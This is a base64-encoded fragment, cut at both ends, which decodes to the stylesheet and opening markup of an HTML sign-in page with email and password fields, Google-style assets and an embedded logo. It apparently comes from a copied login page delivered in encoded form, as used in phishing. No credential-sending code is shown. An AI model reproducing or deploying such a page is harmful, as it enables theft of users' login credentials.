ZTgpOw0KICB9DQogIC5yYy1idXR0b24tc3VibWl0OmFjdGl2ZSB7DQogIGJhY2tncm91bmQtY29sb3I6ICMzNTdhZTg7DQogIGJhY2tncm91bmQtaW1hZ2U6IC13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwjNGQ5MGZlLCMzNTdhZTgpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsIzRkOTBmZSwjMzU3YWU4KTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW1zLWxpbmVhci1ncmFkaWVudCh0b3AsIzRkOTBmZSwjMzU3YWU4KTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwjNGQ5MGZlLCMzNTdhZTgpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG9wLCM0ZDkwZmUsIzM1N2FlOCk7DQogIC1tb3otYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMnB4IHJnYmEoMCwwLDAsMC4zKTsNCiAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLDAsMCwwLjMpOw0KICBib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLDAsMCwwLjMpOw0KICB9DQogIC5yYy1idXR0b24tcmVkLA0KICAucmMtYnV0dG9uLXJlZDp2aXNpdGVkIHsNCiAgYm9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7DQogIGNvbG9yOiAjZmZmOw0KICB0ZXh0LXNoYWRvdzogMCAxcHggcmdiYSgwLDAsMCwwLjEpOw0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDE0ODM2Ow0KICBiYWNrZ3JvdW5kLWltYWdlOiAtd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsI2RkNGIzOSwjZDE0ODM2KTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCNkZDRiMzksI2QxNDgzNik7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1tcy1saW5lYXItZ3JhZGllbnQodG9wLCNkZDRiMzksI2QxNDgzNik7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1vLWxpbmVhci1ncmFkaWVudCh0b3AsI2RkNGIzOSwjZDE0ODM2KTsNCiAgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvcCwjZGQ0YjM5LCNkMTQ4MzYpOw0KICB9DQogIC5yYy1idXR0b24tcmVkOmhvdmVyIHsNCiAgYm9yZGVyOiAxcHggc29saWQgI2IwMjgxYTsNCiAgY29sb3I6ICNmZmY7DQogIHRleHQtc2hhZG93OiAwIDFweCByZ2JhKDAsMCwwLDAuMyk7DQogIGJhY2tncm91bmQtY29sb3I6ICNjNTM3Mjc7DQogIGJhY2tncm91bmQtaW1hZ2U6IC13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwjZGQ0YjM5LCNjNTM3MjcpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsI2RkNGIzOSwjYzUzNzI3KTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW1zLWxpbmVhci1ncmFkaWVudCh0b3AsI2RkNGIzOSwjYzUzNzI3KTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwjZGQ0YjM5LCNjNTM3MjcpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG9wLCNkZDRiMzksI2M1MzcyNyk7DQogIH0NCiAgLnJjLWJ1dHRvbi1yZWQ6YWN0aXZlIHsNCiAgYm9yZGVyOiAxcHggc29saWQgIzk5MmExYjsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2IwMjgxYTsNCiAgYmFja2dyb3VuZC1pbWFnZTogLXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCNkZDRiMzksI2IwMjgxYSk7DQogIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwjZGQ0YjM5LCNiMDI4MWEpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtbXMtbGluZWFyLWdyYWRpZW50KHRvcCwjZGQ0YjM5LCNiMDI4MWEpOw0KICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCNkZDRiMzksI2IwMjgxYSk7DQogIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0b3AsI2RkNGIzOSwjYjAyODFhKTsNCiAgLW1vei1ib3gtc2hhZG93OiBpbnNldCAwIDFweCAycHggcmdiYSgwLDAsMCwwLjMpOw0KICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsMCwwLDAuMyk7DQogIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDJweCByZ2JhKDAsMCwwLDAuMyk7DQogIH0NCiAgLnNlY29uZGFyeS1hY3Rpb25zIHsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KICB9CQk8L3N0eWxlPg0KCQk8c3R5bGUgbWVkaWE9InNjcmVlbiBhbmQgKG1heC13aWR0aDogODAwcHgpLCBzY3JlZW4gYW5kIChtYXgtaGVpZ2h0OiA4MDBweCkiIHR5cGU9InRleHQvY3NzIj4NCi4taGVhZGVyLWJhci5jZW50ZXJlZCB7DQogIGhlaWdodDogODNweDsNCiAgfQ0KICAuLWhlYWRlci1iYXIuY2VudGVyZWQgLmhlYWRlciAubG9nbyB7DQogIG1hcmdpbjogMjVweCBhdXRvIDIwcHg7DQogIH0NCiAgLmNhcmQgew0KICBtYXJnaW4tYm90dG9tOiAyMHB4Ow0KICB9CQk8L3N0eWxlPg0KCQk8c3R5bGUgbWVkaWE9InNjcmVlbiBhbmQgKG1heC13aWR0aDogNTgwcHgpIiB0eXBlPSJ0ZXh0L2NzcyI+DQpodG1sLCBib2R5IHsNCiAgZm9udC1zaXplOiAxNHB4Ow0KICB9DQogIC4taGVhZGVyLWJhci5jZW50ZXJlZCB7DQogIGhlaWdodDogNzNweDsNCiAgfQ0KICAuLWhlYWRlci1iYXIuY2VudGVyZWQgLmhlYWRlciAubG9nbyB7DQogIG1hcmdpbjogMjBweCBhdXRvIDE1cHg7DQogIH0NCiAgLmNvbnRlbnQgew0KICBwYWRkaW5nLWxlZnQ6IDEwcHg7DQogIHBhZGRpbmctcmlnaHQ6IDEwcHg7DQogIH0NCiAgLmhpZGRlbi1zbWFsbCB7DQogIGRpc3BsYXk6IG5vbmU7DQogIH0NCiAgLmNhcmQgew0KICBwYWRkaW5nOiAyMHB4IDE1cHggMzBweDsNCiAgd2lkdGg6IDI3MHB4Ow0KICB9DQogIC5mb290ZXIgdWwgbGkgew0KICBwYWRkaW5nLXJpZ2h0OiAxZW07DQogIH0NCiAgLmxhbmctY2hvb3Nlci13cmFwIHsNCiAgZGlzcGxheTogbm9uZTsNCiAgfQkJPC9zdHlsZT4NCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCnByZS5kZWJ1ZyB7DQogIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgbGVmdDogMDsNCiAgbWFyZ2luOiAwOw0KICBwYWRkaW5nOiAxLjVlbTsNCiAgZm9udC1zaXplOiAxM3B4Ow0KICBiYWNrZ3JvdW5kOiAjZjFmMWYxOw0KICBib3JkZXItdG9wOiAxcHggc29saWQgI2U1ZTVlNTsNCiAgZGlyZWN0aW9uOiBsdHI7DQogIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsNCiAgd2lkdGg6IDkwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgfQkJPC9zdHlsZT4NCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5iYW5uZXIgaDEgew0KICBmb250LWZhbWlseTogJ09wZW4gU2FucycsIGFyaWFsOw0KICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDsNCiAgY29sb3I6ICM1NTU7DQogIGZvbnQtc2l6ZTogNDJweDsNCiAgZm9udC13ZWlnaHQ6IDMwMDsNCiAgbWFyZ2luLXRvcDogMDsNCiAgbWFyZ2luLWJvdHRvbTogMjBweDsNCiAgfQ0KICAuYmFubmVyIGgyIHsNCiAgZm9udC1mYW1pbHk6ICdPcGVuIFNhbnMnLCBhcmlhbDsNCiAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7DQogIGNvbG9yOiAjNTU1Ow0KICBmb250LXNpemU6IDE4cHg7DQogIGZvbnQtd2VpZ2h0OiA0MDA7DQogIG1hcmdpbi1ib3R0b206IDIwcHg7DQogIH0NCiAgLnNpZ25pbi1jYXJkIHsNCiAgd2lkdGg6IDI3NHB4Ow0KICBwYWRkaW5nOiA0MHB4IDQwcHg7DQogIH0NCiAgLnNpZ25pbi1jYXJkIC5wcm9maWxlLWltZyB7DQogIHdpZHRoOiA5NnB4Ow0KICBoZWlnaHQ6IDk2cHg7DQogIG1hcmdpbjogMCBhdXRvIDEwcHg7DQogIGRpc3BsYXk6IGJsb2NrOw0KICAtbW96LWJvcmRlci1yYWRpdXM6IDUwJTsNCiAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA1MCU7DQogIGJvcmRlci1yYWRpdXM6IDUwJTsNCiAgfQ0KICAuc2lnbmluLWNhcmQgLnByb2ZpbGUtbmFtZSB7DQogIGZvbnQtc2l6ZTogMTZweDsNCiAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgbWFyZ2luOiAxMHB4IDAgMDsNCiAgbWluLWhlaWdodDogMWVtOw0KICB9DQogIC5zaWduaW4tY2FyZCAucHJvZmlsZS1lbWFpbCB7DQogIGZvbnQtc2l6ZTogMTZweDsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KICBtYXJnaW46IDEwcHggMCAyMHB4IDA7DQogIG1pbi1oZWlnaHQ6IDFlbTsNCiAgfQ0KICAuc2lnbmluLWNhcmQgaW5wdXRbdHlwZT1lbWFpbF0sDQogIC5zaWduaW4tY2FyZCBpbnB1dFt0eXBlPXBhc3N3b3JkXSwNCiAgLnNpZ25pbi1jYXJkIGlucHV0W3R5cGU9dGV4dF0sDQogIC5zaWduaW4tY2FyZCBpbnB1dFt0eXBlPXN1Ym1pdF0gew0KICB3aWR0aDogMTAwJTsNCiAgZGlzcGxheTogYmxvY2s7DQogIG1hcmdpbi1ib3R0b206IDEwcHg7DQogIHotaW5kZXg6IDE7DQogIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgLW1vei1ib3gtc2l6aW5nOiBib3JkZXItYm94Ow0KICAtd2Via2l0LWJveC1zaXppbmc6IGJvcmRlci1ib3g7DQogIGJveC1zaXppbmc6IGJvcmRlci1ib3g7DQogIH0NCiAgLnNpZ25pbi1jYXJkICNFbWFpbCwNCiAgLnNpZ25pbi1jYXJkICNQYXNzd2QsDQogIC5zaWduaW4tY2FyZCAuY2FwdGNoYSB7DQogIGRpcmVjdGlvbjogbHRyOw0KICBoZWlnaHQ6IDQ0cHg7DQogIGZvbnQtc2l6ZTogMTZweDsNCiAgfQ0KICAuc2lnbmluLWNhcmQgI0VtYWlsICsgLnN0YWNrZWQtbGFiZWwgew0KICBtYXJnaW4tdG9wOiAxNXB4Ow0KICB9DQogIC5zaWduaW4tY2FyZCAjcmVhdXRoRW1haWwgew0KICBkaXNwbGF5OiBibG9jazsNCiAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgbGluZS1oZWlnaHQ6IDM2cHg7DQogIHBhZGRpbmc6IDAgOHB4Ow0KICBmb250LXNpemU6IDE1cHg7DQogIGNvbG9yOiAjNDA0MDQwOw0KICBsaW5lLWhlaWdodDogMjsNCiAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgZm9udC1zaXplOiAxNHB4Ow0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogIG92ZXJmbG93OiBoaWRkZW47DQogIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzOw0KICB3aGl0ZS1zcGFjZTogbm93cmFwOw0KICAtbW96LWJveC1zaXppbmc6IGJvcmRlci1ib3g7DQogIC13ZWJraXQtYm94LXNpemluZzogYm9yZGVyLWJveDsNCiAgYm94LXNpemluZzogYm9yZGVyLWJveDsNCiAgfQ0KICAub25lLSBwIHsNCiAgbWFyZ2luOiAwIDAgMTBweDsNCiAgY29sb3I6ICM1NTU7DQogIGZvbnQtc2l6ZTogMTRweDsNCiAgdGV4dC1hbGlnbjogY2VudGVyOw0KICB9DQogIC5vbmUtIHAuY3JlYXRlLWFjY291bnQsDQogIC5vbmUtIHAuc3dpdGNoLWFjY291bnQgew0KICBtYXJnaW4tYm90dG9tOiA2MHB4Ow0KICB9DQogIC5vbmUtIGltZyB7DQogIGRpc3BsYXk6IGJsb2NrOw0KICB3aWR0aDogMjEwcHg7DQogIGhlaWdodDogMTdweDsNCiAgbWFyZ2luOiAxMHB4IGF1dG87DQogIH0JCTwvc3R5bGU+DQoJCTxzdHlsZSBtZWRpYT0ic2NyZWVuIGFuZCAobWF4LXdpZHRoOiA4MDBweCksIHNjcmVlbiBhbmQgKG1heC1oZWlnaHQ6IDgwMHB4KSIgdHlwZT0idGV4dC9jc3MiPg0KLmJhbm5lciBoMSB7DQogIGZvbnQtc2l6ZTogMzhweDsNCiAgbWFyZ2luLWJvdHRvbTogMTVweDsNCiAgfQ0KICAuYmFubmVyIGgyIHsNCiAgbWFyZ2luLWJvdHRvbTogMTVweDsNCiAgfQ0KICAub25lLSBwLmNyZWF0ZS1hY2NvdW50LA0KICAub25lLSBwLnN3aXRjaC1hY2NvdW50IHsNCiAgbWFyZ2luLWJvdHRvbTogMzBweDsNCiAgfQ0KICAuc2lnbmluLWNhcmQgI0VtYWlsIHsNCiAgbWFyZ2luLWJvdHRvbTogMDsNCiAgfQ0KICAuc2lnbmluLWNhcmQgI1Bhc3N3ZCB7DQogIG1hcmdpbi10b3A6IC0xcHg7DQogIH0NCiAgLnNpZ25pbi1jYXJkICNFbWFpbC5mb3JtLWVycm9yLA0KICAuc2lnbmluLWNhcmQgI1Bhc3N3ZC5mb3JtLWVycm9yIHsNCiAgei1pbmRleDogMjsNCiAgfQ0KICAuc2lnbmluLWNhcmQgI0VtYWlsOmhvdmVyLA0KICAuc2lnbmluLWNhcmQgI0VtYWlsOmZvY3VzLA0KICAuc2lnbmluLWNhcmQgI1Bhc3N3ZDpob3ZlciwNCiAgLnNpZ25pbi1jYXJkICNQYXNzd2Q6Zm9jdXMgew0KICB6LWluZGV4OiAzOw0KICB9CQk8L3N0eWxlPg0KCQk8c3R5bGUgbWVkaWE9InNjcmVlbiBhbmQgKG1heC13aWR0aDogNTgwcHgpIiB0eXBlPSJ0ZXh0L2NzcyI+DQouYmFubmVyIGgxIHsNCiAgZm9udC1zaXplOiAyMnB4Ow0KICBtYXJnaW4tYm90dG9tOiAxNXB4Ow0KICB9DQogIC5zaWduaW4tY2FyZCB7DQogIHdpZHRoOiAyNjBweDsNCiAgcGFkZGluZzogMjBweCAyMHB4Ow0KICBtYXJnaW46IDAgYXV0byAyMHB4Ow0KICB9DQogIC5zaWduaW4tY2FyZCAucHJvZmlsZS1pbWcgew0KICB3aWR0aDogNzJweDsNCiAgaGVpZ2h0OiA3MnB4Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6IDcycHg7DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNzJweDsNCiAgYm9yZGVyLXJhZGl1czogNzJweDsNCiAgfQkJPC9zdHlsZT4NCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5qZmstdG9vbHRpcCB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGJvcmRlcjogMXB4IHNvbGlkOw0KICBjb2xvcjogIzczNzM3MzsNCiAgZm9udC1zaXplOiAxMnB4Ow0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIHotaW5kZXg6IDgwMCAhaW1wb3J0YW50Ow0KICBib3JkZXItY29sb3I6ICNiYmIgI2JiYiAjYThhOGE4Ow0KICBwYWRkaW5nOiAxNnB4Ow0KICB3aWR0aDogMjUwcHg7DQogIH0NCiAuamZrLXRvb2x0aXAgaDMgew0KICBjb2xvcjogIzU1NTsNCiAgZm9udC1zaXplOiAxMnB4Ow0KICBtYXJnaW46IDAgMCAuNWVtOw0KICB9DQogLmpmay10b29sdGlwLWNvbnRlbnQgcDpsYXN0LWNoaWxkIHsNCiAgbWFyZ2luLWJvdHRvbTogMDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtYXJyb3cgew0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIH0NCiAgLmpmay10b29sdGlwLWFycm93IC5qZmstdG9vbHRpcC1hcnJvd2ltcGxiZWZvcmUsDQogIC5qZmstdG9vbHRpcC1hcnJvdyAuamZrLXRvb2x0aXAtYXJyb3dpbXBsYWZ0ZXIgew0KICBkaXNwbGF5OiBibG9jazsNCiAgaGVpZ2h0OiAwOw0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIHdpZHRoOiAwOw0KICB9DQogIC5qZmstdG9vbHRpcC1hcnJvdyAuamZrLXRvb2x0aXAtYXJyb3dpbXBsYmVmb3JlIHsNCiAgYm9yZGVyOiA5cHggc29saWQ7DQogIH0NCiAgLmpmay10b29sdGlwLWFycm93IC5qZmstdG9vbHRpcC1hcnJvd2ltcGxhZnRlciB7DQogIGJvcmRlcjogOHB4IHNvbGlkOw0KICB9DQogIC5qZmstdG9vbHRpcC1hcnJvd2Rvd24gew0KICBib3R0b206IDA7DQogIH0NCiAgLmpmay10b29sdGlwLWFycm93dXAgew0KICB0b3A6IC05cHg7DQogIH0NCiAgLmpmay10b29sdGlwLWFycm93bGVmdCB7DQogIGxlZnQ6IC05cHg7DQogIHRvcDogMzBweDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtYXJyb3dyaWdodCB7DQogIHJpZ2h0OiAwOw0KICB0b3A6IDMwcHg7DQogIH0NCiAgLmpmay10b29sdGlwLWFycm93ZG93biAuamZrLXRvb2x0aXAtYXJyb3dpbXBsYmVmb3JlLC5qZmstdG9vbHRpcC1hcnJvd3VwIC5qZmstdG9vbHRpcC1hcnJvd2ltcGxiZWZvcmUgew0KICBib3JkZXItY29sb3I6ICNiYmIgdHJhbnNwYXJlbnQ7DQogIGxlZnQ6IC05cHg7DQogIH0NCiAgLmpmay10b29sdGlwLWFycm93ZG93biAuamZrLXRvb2x0aXAtYXJyb3dpbXBsYmVmb3JlIHsNCiAgYm9yZGVyLWNvbG9yOiAjYThhOGE4IHRyYW5zcGFyZW50Ow0KICB9DQogIC5qZmstdG9vbHRpcC1hcnJvd2Rvd24gLmpmay10b29sdGlwLWFycm93aW1wbGFmdGVyLC5qZmstdG9vbHRpcC1hcnJvd3VwIC5qZmstdG9vbHRpcC1hcnJvd2ltcGxhZnRlciB7DQogIGJvcmRlci1jb2xvcjogI2ZmZiB0cmFuc3BhcmVudDsNCiAgbGVmdDogLThweDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtYXJyb3dkb3duIC5qZmstdG9vbHRpcC1hcnJvd2ltcGxiZWZvcmUgew0KICBib3JkZXItYm90dG9tLXdpZHRoOiAwOw0KICB9DQogIC5qZmstdG9vbHRpcC1hcnJvd2Rvd24gLmpmay10b29sdGlwLWFycm93aW1wbGFmdGVyIHsNCiAgYm9yZGVyLWJvdHRvbS13aWR0aDogMDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtYXJyb3d1cCAuamZrLXRvb2x0aXAtYXJyb3dpbXBsYmVmb3JlIHsNCiAgYm9yZGVyLXRvcC13aWR0aDogMDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtYXJyb3d1cCAuamZrLXRvb2x0aXAtYXJyb3dpbXBsYWZ0ZXIgew0KICBib3JkZXItdG9wLXdpZHRoOiAwOw0KICB0b3A6IDFweDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtYXJyb3dsZWZ0IC5qZmstdG9vbHRpcC1hcnJvd2ltcGxiZWZvcmUsDQogIC5qZmstdG9vbHRpcC1hcnJvd3JpZ2h0IC5qZmstdG9vbHRpcC1hcnJvd2ltcGxiZWZvcmUgew0KICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50ICNiYmI7DQogIHRvcDogLTlweDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtYXJyb3dsZWZ0IC5qZmstdG9vbHRpcC1hcnJvd2ltcGxhZnRlciwNCiAgLmpmay10b29sdGlwLWFycm93cmlnaHQgLmpmay10b29sdGlwLWFycm93aW1wbGFmdGVyIHsNCiAgYm9yZGVyLWNvbG9yOnRyYW5zcGFyZW50ICNmZmY7DQogIHRvcDotOHB4Ow0KICB9DQogIC5qZmstdG9vbHRpcC1hcnJvd2xlZnQgLmpmay10b29sdGlwLWFycm93aW1wbGJlZm9yZSB7DQogIGJvcmRlci1sZWZ0LXdpZHRoOiAwOw0KICB9DQogIC5qZmstdG9vbHRpcC1hcnJvd2xlZnQgLmpmay10b29sdGlwLWFycm93aW1wbGFmdGVyIHsNCiAgYm9yZGVyLWxlZnQtd2lkdGg6IDA7DQogIGxlZnQ6IDFweDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtYXJyb3dyaWdodCAuamZrLXRvb2x0aXAtYXJyb3dpbXBsYmVmb3JlIHsNCiAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwOw0KICB9DQogIC5qZmstdG9vbHRpcC1hcnJvd3JpZ2h0IC5qZmstdG9vbHRpcC1hcnJvd2ltcGxhZnRlciB7DQogIGJvcmRlci1yaWdodC13aWR0aDogMDsNCiAgfQ0KICAuamZrLXRvb2x0aXAtY2xvc2VidG4gew0KICBiYWNrZ3JvdW5kOiB1cmwoImh0dHA6Ly9zc2wuZ3N0YXRpYy5jb20vdWkvdjEvaWNvbnMvY29tbW9uL3hfOHB4LnBuZyIpIG5vLXJlcGVhdDsNCiAgYm9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7DQogIGhlaWdodDogMjFweDsNCiAgb3BhY2l0eTogLjQ7DQogIG91dGxpbmU6IDA7DQogIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgcmlnaHQ6IDJweDsNCiAgdG9wOiAycHg7DQogIHdpZHRoOiAyMXB4Ow0KICB9DQogIC5qZmstdG9vbHRpcC1jbG9zZWJ0bjpmb2N1cywNCiAgLmpmay10b29sdGlwLWNsb3NlYnRuOmhvdmVyIHsNCiAgb3BhY2l0eTogLjg7DQogIGN1cnNvcjogcG9pbnRlcjsNCiAgfQ0KICAuamZrLXRvb2x0aXAtY2xvc2VidG46Zm9jdXMgew0KICBib3JkZXItY29sb3I6ICM0ZDkwZmU7DQogIH0JCTwvc3R5bGU+DQoJCTxzdHlsZSBtZWRpYT0ic2NyZWVuIGFuZCAobWF4LXdpZHRoOiA1ODBweCkiIHR5cGU9InRleHQvY3NzIj4NCi5qZmstdG9vbHRpcCB7DQogIGRpc3BsYXk6IG5vbmU7DQogIH0JCTwvc3R5bGU+DQoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoubmVlZC1oZWxwLXJldmVyc2Ugew0KICBmbG9hdDogcmlnaHQ7DQogIH0NCiAgLnJlbWVtYmVyIC5idWJibGUtd3JhcCB7DQogIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgcGFkZGluZy10b3A6IDNweDsNCiAgLW8tdHJhbnNpdGlvbjogb3BhY2l0eSAuMjE4cyBlYXNlLWluIC4yMThzOw0KICAtbW96LXRyYW5zaXRpb246IG9wYWNpdHkgLjIxOHMgZWFzZS1pbiAuMjE4czsNCiAgLXdlYmtpdC10cmFuc2l0aW9uOiBvcGFjaXR5IC4yMThzIGVhc2UtaW4gLjIxOHM7DQogIHRyYW5zaXRpb246IG9wYWNpdHkgLjIxOHMgZWFzZS1pbiAuMjE4czsNCiAgbGVmdDogLTk5OWVtOw0KICBvcGFjaXR5OiAwOw0KICB3aWR0aDogMzE0cHg7DQogIG1hcmdpbi1sZWZ0OiAtMjBweDsNCiAgfQ0KICAucmVtZW1iZXI6aG92ZXIgLmJ1YmJsZS13cmFwLA0KICAucmVtZW1iZXIgaW5wdXQ6Zm9jdXMgfiAuYnViYmxlLXdyYXAsDQogIC5yZW1lbWJlciAuYnViYmxlLXdyYXA6aG92ZXIsDQogIC5yZW1lbWJlciAuYnViYmxlLXdyYXA6Zm9jdXMgew0KICBvcGFjaXR5OiAxOw0KICBsZWZ0OiBpbmhlcml0Ow0KICB9DQogIC5idWJibGUtcG9pbnRlciB7DQogIGJvcmRlci1sZWZ0OiAxMHB4IHNvbGlkIHRyYW5zcGFyZW50Ow0KICBib3JkZXItcmlnaHQ6IDEwcHggc29saWQgdHJhbnNwYXJlbnQ7DQogIGJvcmRlci1ib3R0b206IDEwcHggc29saWQgI2ZmZjsNCiAgd2lkdGg6IDA7DQogIGhlaWdodDogMDsNCiAgbWFyZ2luLWxlZnQ6IDE3cHg7DQogIH0NCiAgLmJ1YmJsZSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIHBhZGRpbmc6IDE1cHg7DQogIG1hcmdpbi10b3A6IC0xcHg7DQogIGZvbnQtc2l6ZTogMTFweDsNCiAgLW1vei1ib3JkZXItcmFkaXVzOiAycHg7DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogMnB4Ow0KICBib3JkZXItcmFkaXVzOiAycHg7DQogIC1tb3otYm94LXNoYWRvdzogMHB4IDJweCAycHggcmdiYSgwLCAwLCAwLCAwLjMpOw0KICAtd2Via2l0LWJveC1zaGFkb3c6IDBweCAycHggMnB4IHJnYmEoMCwgMCwgMCwgMC4zKTsNCiAgYm94LXNoYWRvdzogMHB4IDJweCAycHggcmdiYSgwLCAwLCAwLCAwLjMpOw0KICB9DQogICNzdGF5LXNpZ25lZC1pbiB7DQogIGZsb2F0OiBsZWZ0Ow0KICB9DQogICNzdGF5LXNpZ25lZC1pbi10b29sdGlwIHsNCiAgbGVmdDogYXV0bzsNCiAgbWFyZ2luLWxlZnQ6IC0yMHB4Ow0KICBwYWRkaW5nLXRvcDogM3B4Ow0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIHRvcDogMDsNCiAgdmlzaWJpbGl0eTogaGlkZGVuOw0KICB3aWR0aDogMzE0cHg7DQogIHotaW5kZXg6IDE7DQogIH0NCiAgLmRhc2hlci10b29sdGlwIHsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICBsZWZ0OiA1MCU7DQogIHRvcDogMzgwcHg7DQogIG1hcmdpbi1sZWZ0OiAxNTBweDsNCiAgfQ0KICAuZGFzaGVyLXRvb2x0aXAgLnRvb2x0aXAtcG9pbnRlciB7DQogIG1hcmdpbi10b3A6IDE1cHg7DQogIH0NCiAgLmRhc2hlci10b29sdGlwIHAgew0KICBtYXJnaW4tdG9wOiAwOw0KICB9DQogIC5kYXNoZXItdG9vbHRpcCBwIHNwYW4gew0KICBkaXNwbGF5OiBibG9jazsNCiAgfQ0KICAgIC5zdHlsZTENCiAgICB7DQogICAgICAgIGZvbnQtd2VpZ2h0OiBpbmhlcml0Ow0KICAgICAgICBmb250LXN0eWxlOiBpbmhlcml0Ow0KICAgICAgICBmb250LXNpemU6IDEwMCU7DQogICAgICAgIGZvbnQtZmFtaWx5OiBpbmhlcml0Ow0KICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogYmFzZWxpbmU7DQogICAgICAgIGJvcmRlci1zdHlsZTogbm9uZTsNCiAgICAgICAgYm9yZGVyLWNvbG9yOiBpbmhlcml0Ow0KICAgICAgICBib3JkZXItd2lkdGg6IDA7DQogICAgICAgIG1hcmdpbjogMDsNCiAgICAgICAgcGFkZGluZzogMDsNCiAgICB9DQoqIHsNCglwYWRkaW5nOjA7bGlzdC1zdHlsZTpub25lO291dGxpbmU6bm9uZTsNCn0JCTwvc3R5bGU+DQoJCTxzdHlsZSBtZWRpYT0ic2NyZWVuIGFuZCAobWF4LXdpZHRoOiA4MDBweCksIHNjcmVlbiBhbmQgKG1heC1oZWlnaHQ6IDgwMHB4KSIgdHlwZT0idGV4dC9jc3MiPg0KLmRhc2hlci10b29sdGlwIHsNCiAgdG9wOiAzNDBweDsNCiAgfQkJPC9zdHlsZT4NCgk8L2hlYWQ+DQoJPGJvZHk+DQoJCTxkaXYgY2xhc3M9IndyYXBwZXIiPg0KCQkJPGRpdiBjbGFzcz0iLWhlYWRlci1iYXIgIGNlbnRlcmVkIj4NCgkJCQk8ZGl2IGNsYXNzPSJoZWFkZXIgY29udGVudCBjbGVhcmZpeCI+DQoJCQkJCTxpbWcgYWx0PSIiIGNsYXNzPSJsb2dvIiBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBT2dBQUFCTUNBWUFBQUJuSlB1QUFBQWk5RWxFUVZSSXgrMVhkNEJVMWZYK3pwc1p0aTlGaXFGM1pHbUtDRW9YRlJXc3NhUVpEWWtsU2tjZ3lTOXFUREVxS2tWRXhaSm1UTlRZb21Lc0lGMFVVVUdLbEtVM1JjcjIzWG4zZkw4LzVyMXBPN04xbGpwbnVidzNNKy9kZSs2NTV6dmZkNFFrNHBtSUlHbEpPeEdzdzV1alUwdlZUQkNSaVlBMERmN2c1bmQ0